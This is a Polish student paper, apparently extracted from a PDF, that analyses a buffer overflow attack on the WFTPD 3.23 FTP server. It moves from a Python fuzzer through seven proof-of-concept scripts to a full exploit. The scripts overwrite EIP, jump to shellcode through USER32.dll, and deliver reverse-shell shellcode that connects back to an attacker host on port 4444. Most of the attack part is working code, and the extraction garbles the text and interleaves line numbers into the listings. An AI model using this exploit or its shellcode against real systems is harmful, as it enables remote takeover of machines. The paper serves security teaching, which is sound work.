K. Nieradkiewicz - Analiza ataku na system komputerowy z
Transkrypt
K. Nieradkiewicz - Analiza ataku na system komputerowy z
Analiza ataku na system komputerowy z wykorzystaniem techniki przepełnienia bufora. Kamil Nieradkiewicz Wydział Inżynierii Mechanicznej i Informatyki Kierunek Informatyka, Rok III [email protected] Streszczenie W poniższej pracy przeprowadzono analiz˛e przygotowania oraz przeprowadzenia ataku na zdalny system z użyciem metody przepełnienia bufora. Tekst porusza wszystkie fazy ataku, poczawszy ˛ od przygotowania, badania atakowanej aplikacji, budowy "proof of concept" do wysłania exploitu i uruchomienia złośliwego kodu na zdalnym hoście. 1 Wst˛ep Artykuł ten opisuje dobrze znana˛ metod˛e ataku na zdalny system przy pomocy techniki przepełnienia bufora. Podatność ta została zbadana i opisana już w 1972[1] roku i jest jedna˛ z najpowszechniej używanych metod ataków na systemy komputerowe na świecie. Pomimo dobrego zrozumienia działania ataku z użyciem tej metody, jest on wcia˛ż możliwy do przeprowadzenia, a tak długo jak w użyciu b˛eda˛ j˛ezyki podobne do C czy C++ ,które nie sprawdzaja˛ przekroczenia granicy bufora i pozwalaja˛ na samodzielne zarzadza˛ nie pami˛ecia,˛ zagrożenie nie minie. Należy jednak zwrócić szczególna˛ uwag˛e na to, że podatność na atak nie istnieje sama z siebie i nie każdy system da si˛e zaatakować. Wszystkie tego typu zagrożenia sa˛ możliwe tylko i wyłacznie ˛ dzi˛eki złej implementacji i da si˛e przed nimi ustrzec projektujac ˛ i piszac ˛ aplikacje z należyta˛ starannościa,˛ nieufnie i rygorystycznie traktujac ˛ wszelkie dostarczane do nich dane. Dla celów tego artykułu posłużymy si˛e serwerem ftp: WFTPD v3.23 którego podatność na atak z wykorzystaniem przecia˛żenia bufora została opisana już w 2006 roku[2]. 2 Szukanie podatności 2.1 Metody szukania podatności Mówiac ˛ o zagrożeniach nasuwa si˛e oczywiste pytanie: skad ˛ atakujacy ˛ wie, że wywołanie konkretnej instrukcji z jakimiś specyficznymi parametrami spowoduje bład ˛ w aplikacji. Generalnie istnieja˛ 3 podstawowe metody poszukiwania bł˛edów i potencjalnych podatności na atak. Pierwsza˛ i najprostsza˛ metoda˛ jest analiza kodu źródłowego aplikacji w 1 poszukiwaniu bł˛edów i źle zabezpieczonych funkcji. Jest to jednak możliwe tylko w przypadku aplikacji open-source. Gdy twórcy aplikacji nie udost˛epniaja˛ jej kodu źródłowego można posłużyć si˛e inżynieria˛ wsteczna.˛ Jest to jednak trudny i mozolny proces. Ostatnia˛ z metod jest tak zwany fuzzing.[3] Fuzzing w uproszczeniu polega na zalewaniu aplikacji specjalnie przygotowanymi danymi i obserwowaniu jej zachowania w poszukiwaniu jakichkolwiek anomalii lub crashu. Testujac ˛ w ten sposób aplikacje należy przygotować (lub posłużyć si˛e gotowym) skrypt, który b˛edzie wysyłał spreparowane instrukcje i łańcuchy znakowe, najcz˛eściej o przesadnie dużej wielkości (np: instrukcja LOGUJ z loginem długości 1000 znaków). Poniżej pokazano prosty, przykładowy fuzzer zaimplementowany w j˛ezyku python. Listing 1: fuzzer.py 1 #!/ usr / bin / python 2 3 import socket sys 4 import 5 6 if 7 8 9 len ( sys . argv ) <4: print "\ nUSAGE :\ n" print sys . argv [0] +" < victim . ip . address > <port > <max length >\ n" sys . exit (0) 10 11 # Define 12 COMMANDS commands to be fuzzed ! = [" CWD ", " MKD ", " STOR "] 13 14 15 max = int ( sys . argv [3]) 16 17 # Run 18 for 19 20 21 22 23 24 the nasty loop :] com in COMMANDS : len = 100 while len <= max : print " Fuzzing : " + com + " : " + str ( len ) s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) s. connect (( sys . argv [1] , int ( sys . argv [2]) )) data = s. recv (4096) 25 26 27 28 # Authorization USER anonymous s. send ( ’ USER anonymous ’ + "\ r\n ") data = s. recv (1024) 29 30 31 32 # Authorization PASS email as pwd . s. send ( ’ PASS pwd1@pwd . pl ’ + "\ r\n ") data = s. recv (1024) 33 34 35 36 37 38 39 40 # Sending evil buffer s. send ( com + " \\" + "A "* len + "\ r\n ") # print com + " \\" + "A "* len + "\ r\n" data = s. recv ( len +100) s. send (" QUIT \r\n ") len = len +20 s. close () 2.2 Badanie podatności Pierwszym krokiem w testowaniu podatności aplikacji na działanie fuzzera jest odpowiednie przygotowanie środowiska, które pozwoli dokładnie badać zachowanie aplikacji w trakcie ataku. W tym celu należy posłużyć si˛e debuggerem. Do przeprowadzenia testów użyty został debugger dla windows x86 Immunity Debugger. 2 Po uruchomieniu testowanej aplikacji i przypi˛eciu jej w debuggerze można uruchomić fuzzer[Rys.1]. Rys.1 Fuzzer w trakcie działania Jak łatwo zauważyć, ostatnim pakietem jaki udało si˛e wysłać do aplikacji była komenda CWD z parametrem długości 260 bajtów. Można wi˛ec domniemać, że wywołanie komendy CWD z parametrem dłuższym niż 240 bajtów powoduje bład ˛ w aplikacji. 3 Analiza znalezionych bł˛edów 3.1 Proof of concept 1 - nadpisanie pami˛eci Aby zbadać podatność aplikacji na atak napiszemy "proof of concept", czyli skrypt, który ma za zadanie wykorzystać znalezione bł˛edy do przej˛ecia kontroli nad wykonaniem kodu przez atakowany serwer. Listing 2: poc1.py 1 #!/ usr / bin / python 2 import 3 import socket sys 4 5 print " Sending evil buffer : " = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) 7 s. connect (( sys . argv [1] , int ( sys . argv [2]) )) 8 data = s. recv (4096) 6s 9 10 # Authorization USER anonymous anonymous " + "\ r\n ") 12 data = s. recv (1024) 11 s. send (" USER 13 14 # Authorization PASS email as pwd . pwd1@pwd . pl " + "\ r\n ") 16 data = s. recv (1024) 15 s. send (" PASS 17 18 # Sending evil buffer \\" + "\ x41 " * 640 + "\ r\n ") 20 data = s. recv (1024) 21 s. send (" QUIT \r\n ") 22 s. close () 19 s. send (" CWD Pierwszy, najprostszy PoC łaczy ˛ si˛e z podanym adresem na podanym porcie, autoryzuje si˛e jako użytkownik anonymous z przykładowym hasłem oraz wywołuje komend˛e CWD z parametrem długości 641 bajtów ( Pierwszym znakiem jest lewy ukośnik (ang. backslash) wymagany w składni komendy CWD ), wypełniony znakami 0x41 ( 0x41 to hexadecymalny zapis dziesi˛etnej liczby 65, która odpowiada znakowi ASCII litery A[4]). Po wykonaniu naszego skryptu należy podejrzeć jego wpływ na aplikacj˛e w oknie debuggera 3 Rys.2 Wykonanie pierwszego Proof of Concept Po analizie stanu aplikacji w debuggerze, można zauważyć że wysłany bufor nadpisał m.in.: cz˛eść stosu poczawszy ˛ od wierzchołka, rejestr EIP oraz cz˛eść pami˛eci wskazywanej przez rejestr ESI. Należy zwrócić szczególna˛ uwag˛e na nadpisanie rejestru EIP, który kontroluje przepływ programu. Wiedzac ˛ dokładnie, które 4 bajty bufora nadpisuja˛ rejestr EIP można wpisać tam dowolna˛ wartość i w efekcie przenieść egzekucj˛e programu do dowolnego punktu w kodzie. 3.2 Proof of concept 2 - kontrola EIP Identyfikacj˛e cz˛eści bufora, która nadpisuje rejestr EIP można wykonać na 2 sposoby. Można podzielić bufor tak, aby zamiast wysyłać 640 bajtów wypełnionych wartościami 0x41, wysłać 320 bajtów wypełnionych 0x41 oraz 320 bajtów wypełnionych 0x42 (litera B w ASCII). W ten sposób jeśli rejestr EIP zostanie nadpisany przez wartości 0x41 wiemy, że fragment, który go nadpisuje leży w pierwszych 320 bajtach, jeśli zostanie nadpisany przez 0x42 leży w drugiej połowie bufora. Zakładajac, ˛ że EIP został nadpisany przez wartości 0x41 nast˛epnym krokiem b˛edzie wysłanie bufora składaj ˛ acego ˛ si˛e ze 160 bajtów 0x41, 160 bajtów 0x43 oraz 320 bajtów 0x42. Dzielac ˛ bufor analogicznie otrzymamy coraz w˛eższe przedziały. Teoretycznie, wynik powinniśmy uzyskać już po 7 iteracjach. Inna,˛ szybsza˛ metoda˛ jest wypełnienie bufora unikalnym stringiem. Dzi˛eki temu wystarczy znaleźć 4 bajty nadpisujace ˛ bufor w naszym stringu już przy pierwszej iteracji. Do wygenerowania unikalnego stringu może posłużyć prosty skrypt a gotowy bufor należy dołaczyć ˛ do PoC. Zmodyfikowane cz˛eści PoC zostały pokazane poniżej. Listing 3: poc2.py 1 #... beggining 2 3 buf = (" Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6 " 4 " Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5 " 5 " Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4 " 6 " Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3 " 7 " Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2 " 8 " Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1 " 9 " Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0 " 10 " An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9 " 11 " Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8 " 12 " Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7 " 13 " As8As9At0At1At2At3At4At5At6At7At8At9 ") 14 15 """ 16 ... rest of code ... 17 """ 18 19 # Sending evil buffer \\" + buf + "\ r\n ") 20 s. send (" CWD 21 22 #...end Po wywołaniu kolejnego PoC można zaobserwować w debuggerze wartość nadpisujac ˛ a˛ rejestr EIP [Rys.3]. 4 Rys.3 Nadpisany rejestr EIP Jak widać, rejestr EIP został nadpisany wartościami 0x41, 0x37, 0x69, 0x41 co odpowiada znakom: A,7,i,A kodu ASCII. Należy pami˛etać, że system Windows x86 używa konwencji little-endian do adresacji. Oznacza to, że string ten należy czytać od końca i fragment bufora, który nadpisał rejest EIP to "Ai7A". Podciag ˛ ten znajduje si˛e w zakresie 262-266 bajtu naszego bufora. Zmodyfikujmy nasz PoC uwzgl˛edniajac ˛ nowe informacje. 3.3 Proof of concept 3 - przygotowanie przestrzeni dla kodu W kolejnym kroku wysyłany bufor został podzielony na 3 cz˛eści a przestrzeń za 266 bajtem została powi˛ekszona do 500 bajtów. • bufor poczatkowy ˛ - 261 B • cz˛eść nadpisujaca ˛ EIP - 4 B • przestrzeń za EIP - 500 B Listing 4: poc3.py 1 #... beggining 2 3 buf = "\ x41 " * 261 = "\ x42 \ x42 \ x42 \ x42 " 5 # Extending trash space to 500 bytes 6 trash = "\ x43 " * 500 4 eip 7 8 """ 9 ... rest of code ... 10 """ 11 12 # Sending evil buffer \\" + buf 13 s. send (" CWD + eip + trash + "\ r\n ") 14 15 #...end Po wykonaniu obecnego PoC, możemy zaobserwować, że zgodnie z oczekiwaniami rejest EIP został nadpisany wartościami 0x42[Rys.4] Rys.4 Nadpisany rejestr EIP Należy także przeanalizować obszary pami˛eci nadpisane przez działanie naszego PoC. Cz˛eść wysłanego bufora jest przepisana na stos, jednak w okolicach 170 bajtu ( 0x6FCB0 - 0x6FC04 = 0xAC = 172[dec] ) nadpisuje on SEH [Rys.5], który nie b˛edzie omawiany w naszym przykładzie. Jak już wcześniej wspomniano, fragment bufora przed miejscem nadpisujacym ˛ EIP ma 260 B dost˛epnych do zapisu ( pierwszy bajt to wymagany w składni CWD lewy ukośnik ). Nast˛epnie mamy 4 bajty na nowy adres EIP oraz 500 bajtów dost˛epnej przestrzeni. 5 Rys.5 Stos oraz nadpisany SEH 3.4 Proof of concept 4 - spojrzenie na kod powłoki Kolejnym krokiem jest przygotowanie i przyjrzenie si˛e przesłanemu w buforze kodowi. W tym przykładzie wypełnimy pierwsza˛ cz˛eść bufora kodem powłoki (ang. shellcode)[5], który wywołuje odpowiednia˛ funkcj˛e Windows Speech API zmuszajac ˛ system do przeczytania hasła " YOU GOT PWNED! ". Kod ten ma 247 B długości i z niewielkim marginesem mieści si˛e w przestrzeni pierwszej sekcji naszego bufora. Margines ten wypełnimy wartościami 0x90, co odpowiada opcodowi NOP[6] (No operation). Listing 5: poc4.py 1 #... beggining 2 3 nop1 = "\ x90 " * 8 # you got pwned ! shellcode 5 shellcode = "\ x66 \ x81 \ xe4 \ xfc \ xff \ x31 \ xf6 \ x64 \ x8b \ x76 \ x30 \ x8b \ x76 \ x0c \ x8b \ x76 \ x1c \ x56 \ x66 \ xbe \ xaa \ x1a \ x5f \ x8b \ x6f \ x08 \ xff \ x37 \ x8b \ x5d \ x3c \ x8b \ x5c \ x1d \ x78 \ x01 \ xeb \ x8b \ x4b \ x18 \ x67 \ xe3 \ xeb \ x8b \ x7b \ x20 \ x01 \ xef \ x8b \ x7c \ x8f \ xfc \ x01 \ xef \ x31 \ xc0 \ x99 \ x32 \ x17 \ x66 \ xc1 \ xca \ x01 \ xae \ x75 \ xf7 \ x49 \ x66 \ x39 \ xf2 \ x74 \ x08 \ x67 \ xe3 \ xcb \ xe9 \ xdb \ xff \ xff \ xff \ x8b \ x73 \ x24 \ x01 \ xee \ x0f \ xb7 \ x34 \ x4e \ x8b \ x43 \ x1c \ x01 \ xe8 \ x8b \ x3c \ xb0 \ x01 \ xef \ x31 \ xf6 \ x66 \ x81 \ xfa \ xda \ xf0 \ x74 \ x1b \ x66 \ x81 \ xfa \ x69 \ x27 \ x74 \ x20 \ x6a \ x32 \ x68 \ x6f \ x6c \ x65 \ x33 \ x54 \ xff \ xd7 \ x95 \ x66 \ xbe \ xda \ xf0 \ xe9 \ x95 \ xff \ xff \ xff \ x56 \ xff \ xd7 \ x66 \ xbe \ x69 \ x27 \ xe9 \ x89 \ xff \ xff \ xff \ x68 \ x6e \ x04 \ x22 \ xd4 \ x68 \ xa1 \ xec \ xef \ x99 \ x68 \ xb9 \ x72 \ x92 \ x49 \ x68 \ x74 \ xdf \ x44 \ x6c \ x89 \ xe0 \ x68 \ x4f \ x79 \ x73 \ x96 \ x68 \ x9e \ xe3 \ x01 \ xc0 \ xff \ x4c \ x24 \ x02 \ x68 \ x91 \ x33 \ xd2 \ x11 \ x68 \ x77 \ x93 \ x74 \ x96 \ x89 \ xe3 \ x56 \ x54 \ x50 \ x6a \ x17 \ x56 \ x53 \ xff \ xd7 \ x5b \ x68 \ x6f \ x67 \ x20 \ x55 \ x68 \ x6f \ x70 \ x20 \ x74 \ x68 \ x21 \ x64 \ x6e \ x68 \ x96 \ x89 \ xe6 \ x50 \ xac \ x66 \ x50 \ x3c \ x55 \ x75 \ xf9 \ x89 \ xe1 \ x31 \ xc0 \ x50 \ x50 \ x51 \ x53 \ x8b \ x13 \ x8b \ x4a \ x50 \ xff \ xd1 \ xcc " 6 nop2 = "\ x90 " * 6 4 #247 7 8 # has 261 B space above ! = "\ x42 \ x42 \ x42 \ x42 " 10 trash = "\ x43 " * 500 9 eip 11 12 """ 13 ... rest of code ... 14 """ 15 16 # Sending evil buffer \\" + nop1 + shellcode + nop2 17 s. send (" CWD + eip + trash + "\ r\n ") 18 19 #...end Ustawiajac ˛ podglad ˛ kodu na miejsce wskazywane przez ESI (poczatek ˛ naszego bufora) możemy zaobserwować instrukcj˛e POP ESP, szereg instrukcji NOP oraz instrukcje naszego shellcodu. Bardzo ważne jest, aby zwrócić uwag˛e na instrukcj˛e POP ESP, która opisana przez opcode 0x5c jest odpowiednikiem znaku lewego ukośnika w kodzie ASCII. Wykonanie tej instrukcji spowoduje pobranie wartości z wierzchołka stosu (aktualnie 0x43 0x43 0x43 0x43) i wpisanie jej jako nowy wskaźnik wierzchołka stosu. Pomimo, że mamy kontrol˛e nad tym obszarem pami˛eci, nie jesteśmy w stanie na sztywno określić 6 żadnego poprawnego adresu, który mógłby wskazywać wierzchołek stosu. Konieczne jest pozbycie si˛e instrukcji POP ESP. 3.5 Proof of concept 5 - pozbycie si˛e instrukcji POP ESP Instrukcja POP ESP opisana przez opcode 0x5c leży przed faktycznym poczatkiem ˛ naszego modyfikowalnego bufora. Całkowite usuni˛ecie tego bajtu spowoduje potraktowanie parametru instrukcji CWD (czyli całego naszego bufora) jako niepoprawny przez co nie zostanie on przekazany do parsowania, a w efekcie przepełnienie bufora nie nastapi. ˛ Aby spróbować poradzić sobie z tym problemem, należy sprawdzić jak liberalny jest testowany serwer w kwestii składni polecenia CWD. Zmodyfikujmy PoC tak, aby wysłać polecenie CWD z parametrem zaczynajacym ˛ si˛e od prawego ukośnika (ang. slash) zamiast lewego ukośnika. Listing 6: poc5.py 1 #... beggining 2 3# Sending evil buffer /" + nop1 + shellcode + nop2 4 s. send (" CWD + eip + trash + "\ r\n ") 5 6 #...end Po wykonaniu skryptu i podejrzeniu programu w debuggerze można stwierdzić, że przepełnienie bufora nastapiło, ˛ program nadpisał te same połacie pami˛eci a instrukcja POP ESP zamieniła si˛e na instrukcj˛e DAS. DAS, czyli Decimal Adjust after Subtraction jest instrukcja,˛ która wykonuje operacje jedynie na rejestrze AL, a w tym przypadku rejestr ten nie przechowuje żadnych istotnych dla nas danych. 3.6 Proof of concept 6 - adres skoku Majac ˛ gotowy kod powłoki w przygotowanym miejscu w pami˛eci dost˛epnym za pośrednictwem rejestru ESI oraz kontrol˛e nad EIP wystaczy zmusić program do skoku do miejsca wskazywanego przez ESI aby nasz kod został wykonany. Należy przy tym pami˛etać, że rejestr EIP przechowuje adresy instrukcji a nie same instrukcje. W zwiazku ˛ z tym nie jest możliwe bezpośrednie wpisanie do rejestru EIP wartości 0xFF 0xE6 ( jest to opcode instrukcji JMP ESI [6]) w celu przekierowania egzekucji programu do przestrzeni naszego bufora. Jednak, cz˛eść bibliotek systemowych w Windows jest przechowywana w dokładnie tym samym miejscu w pami˛eci przy każdym starcie w obr˛ebie tego samego service packu. Majac ˛ to na uwadze, wystarczy znaleźć adres instrukcji w jednym z takich modułów, wykorzystywanym przez nasza˛ aplikacj˛e. W tym celu, przeszukamy w debuggerze list˛e modułów używanych przez nasz serwer, wybierzemy moduł systemowy i spróbujemy znaleźć tam instrukcj˛e JMP ESI. Po przejrzeniu modułów systemowych, można znaleźć instrukcj˛e JMP ESI w USER32.dll pod adresem 0x77D89323[Rys.6]. Rys.6 Instrukcja JMP ESI w module USER32.dll 7 Zmodyfikujmy wi˛ec PoC uwzgl˛edniajac ˛ nowe informacje, pami˛etajac ˛ o konwencji zapisu adresów w Win x86 (little-endian)[7]. Listing 7: poc6.py 1 #... beggining 2 3 #77 D89323 --> JMP ESI in USER32 . dll = "\ x23 \ x93 \ xd8 \ x77 " 5 trash = "\ xcc " * 500 4 eip 6 7 sJMP20 = "\ x90 \ x90 \ xeb \ x12 \ x90 \ x90 " #6 B 8 9 10 """ 11 ... rest of code ... 12 """ 13 14 # Sending evil buffer /" + nop1 + shellcode + sJMP20 15 s. send (" CWD + eip + trash + "\ r\n ") 16 17 #...end Dodatkowo PoC został usprawniony dodajac ˛ komend˛e skoku relatywnego w przód o 20B ( 0xEB 0x12 = JMP 0x12 [6] )w miejscu pomi˛edzy kodem powłoki a EIP. Kolejnej zmianie uległa zawartość sekcji bufora za EIP, która została wypełniona wartościami 0xCC ( 0xCC to instrukcja int3, pauzujaca ˛ działanie programu w debuggerze [6]). W efekcie, dzi˛eki wprowadzonym zmianom, po wykonaniu shellcodu, egzekucja programu zostanie przeniesiona do kolejnej, 500 bajtowej sekcji pozwalajacej ˛ nam na zapis dodatkowego kodu. Operacja ta może być użyteczna, gdy nasz kod jest zbyt duży, aby zmieścić si˛e we pierwszej, 260 bajtowej przestrzeni. W powyższym przykładzie, wykorzystamy t˛e sztuczk˛e do dołaczenia ˛ kolejnego shellcodu, uruchamiajacego ˛ zdalna˛ konsol˛e. 3.7 Proof of concept 7 - kontrola całkowita Ostatnim krokiem jest dodanie kodu powłoki drugiego poziomu w miejscu w buforze za fragmentem nadpisujacym ˛ EIP. Kod ten otwiera zdalna˛ konsol˛e i łaczy ˛ si˛e z adresem 192.168.84.134 (który jest adresem naszego hosta linuksowego) na porcie 4444. Listing 8: poc7.py 1 #... beggining 2 3 shellcode2 = ( 4 "\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 " 5 "\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ xcc " 6 "\ x31 \ xc9 \ x83 \ xe9 \ xb8 \ xd9 \ xee \ xd9 \ x74 \ x24 \ xf4 \ x5b \ x81 \ x73 \ x13 \ xb6 " 7 "\ x10 \ x92 \ x98 \ x83 \ xeb \ xfc \ xe2 \ xf4 \ x4a \ x7a \ x79 \ xd5 \ x5e \ xe9 \ x6d \ x67 " 8 "\ x49 \ x70 \ x19 \ xf4 \ x92 \ x34 \ x19 \ xdd \ x8a \ x9b \ xee \ x9d \ xce \ x11 \ x7d \ x13 " 9 "\ xf9 \ x08 \ x19 \ xc7 \ x96 \ x11 \ x79 \ xd1 \ x3d \ x24 \ x19 \ x99 \ x58 \ x21 \ x52 \ x01 " 10 "\ x1a \ x94 \ x52 \ xec \ xb1 \ xd1 \ x58 \ x95 \ xb7 \ xd2 \ x79 \ x6c \ x8d \ x44 \ xb6 \ xb0 " 11 "\ xc3 \ xf5 \ x19 \ xc7 \ x92 \ x11 \ x79 \ xfe \ x3d \ x1c \ xd9 \ x13 \ xe9 \ x0c \ x93 \ x73 " 12 "\ xb5 \ x3c \ x19 \ x11 \ xda \ x34 \ x8e \ xf9 \ x75 \ x21 \ x49 \ xfc \ x3d \ x53 \ xa2 \ x13 " 13 "\ xf6 \ x1c \ x19 \ xe8 \ xaa \ xbd \ x19 \ xd8 \ xbe \ x4e \ xfa \ x16 \ xf8 \ x1e \ x7e \ xc8 " 14 "\ x49 \ xc6 \ xf4 \ xcb \ xd0 \ x78 \ xa1 \ xaa \ xde \ x67 \ xe1 \ xaa \ xe9 \ x44 \ x6d \ x48 " 15 "\ xde \ xdb \ x7f \ x64 \ x8d \ x40 \ x6d \ x4e \ xe9 \ x99 \ x77 \ xfe \ x37 \ xfd \ x9a \ x9a " 16 "\ xe3 \ x7a \ x90 \ x67 \ x66 \ x78 \ x4b \ x91 \ x43 \ xbd \ xc5 \ x67 \ x60 \ x43 \ xc1 \ xcb " 17 "\ xe5 \ x53 \ xc1 \ xdb \ xe5 \ xef \ x42 \ xf0 " 18 19 # ip address xored with 0 x989210b6 20 "\ x76 \ xb8 \ xc6 \ x1e " 21 22 "\ xd0 \ x78 " 8 23 24 # port xored with 0 x9892 25 "\ x83 \ xc4 " 26 27 "\ xd0 \ x43 \ x1b \ x79 \ x23 \ x78 \ x7e \ x61 \ x1c \ x70 \ xc5 \ x67 \ x60 \ x7a \ x82 \ xc9 " 28 "\ xe3 \ xef \ x42 \ xfe \ xdc \ x74 \ xf4 \ xf0 \ xd5 \ x7d \ xf8 \ xc8 \ xef \ x39 \ x5e \ x11 " 29 "\ x51 \ x7a \ xd6 \ x11 \ x54 \ x21 \ x52 \ x6b \ x1c \ x85 \ x1b \ x65 \ x48 \ x52 \ xbf \ x66 " 30 "\ xf4 \ x3c \ x1f \ xe2 \ x8e \ xbb \ x39 \ x33 \ xde \ x62 \ x6c \ x2b \ xa0 \ xef \ xe7 \ xb0 " 31 "\ x49 \ xc6 \ xc9 \ xcf \ xe4 \ x41 \ xc3 \ xc9 \ xdc \ x11 \ xc3 \ xc9 \ xe3 \ x41 \ x6d \ x48 " 32 "\ xde \ xbd \ x4b \ x9d \ x78 \ x43 \ x6d \ x4e \ xdc \ xef \ x6d \ xaf \ x49 \ xc0 \ xfa \ x7f " 33 "\ xcf \ xd6 \ xeb \ x67 \ xc3 \ x14 \ x6d \ x4e \ x49 \ x67 \ x6e \ x67 \ x66 \ x78 \ x62 \ x12 " 34 "\ xb2 \ x4f \ xc1 \ x67 \ x60 \ xef \ x42 \ x98 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 ") 35 36 """ 37 ... rest of code ... 38 """ 39 40 # Sending evil buffer /" + nop + shellcode + sJMP20 41 s. send (" CWD + eip + shellcode2 + "\ r\n ") 42 43 #...end Po uruchomieniu NetCat’a na maszynie linuksowej nasłuchujacego ˛ na porcie 4444 i wykonaniu naszego skryptu, można zaobserwować wyniki działajacego ˛ złośliwego kodu na atakowanej maszynie[Rys.7]. Rys.7 Efekt działania exploitu 4 Podsumowanie Reasumujac, ˛ po zbadaniu serwera WFTP v3.23 natrafiono na potencjalne zagrożenie w momencie wykonywania instrukcji CWD ze spreparowanym parametrem. Po dokładnej analizie, powyższy bład ˛ aplikacji pozwolił na nadpisanie obszarów pami˛eci i umieszczenie tam złośliwego kodu. Nadpisaniu uległ także rejestr EIP co pozwoliło na przekierowanie miejsca egzekucji aplikacji z wykorzystaniem modułu systemowego USER32.dll. Powyższe czynności doprowadziły do wykonania na zdalnej maszynie arbitralnego kodu, który w powyższym przykładzie udost˛epnił przez połaczenie ˛ na porcie 4444 konsol˛e systemowa.˛ W efekcie, poprzez bład ˛ w implementacji programu, narażony został cały system komputerowy uruchamiajacy ˛ wadliwy serwer. 9 Literatura [1] [James P. Anderson. Computer Security Technology Planning Study. page 61, 1972.] [2] [http://www.securiteam.com/windowsntfocus/5WP0N0AJFA.html] [3] [Mati Aharoni Offensive Security Lab Excercises. page 149, 2007.] [4] [http://www.asciitable.com/] [5] [http://www.metasploit.com/modules/payload/windows/speak_pwned] [6] [http://ref.x86asm.net/coder32.html] [7] [http://en.wikipedia.org/wiki/Endianness] 10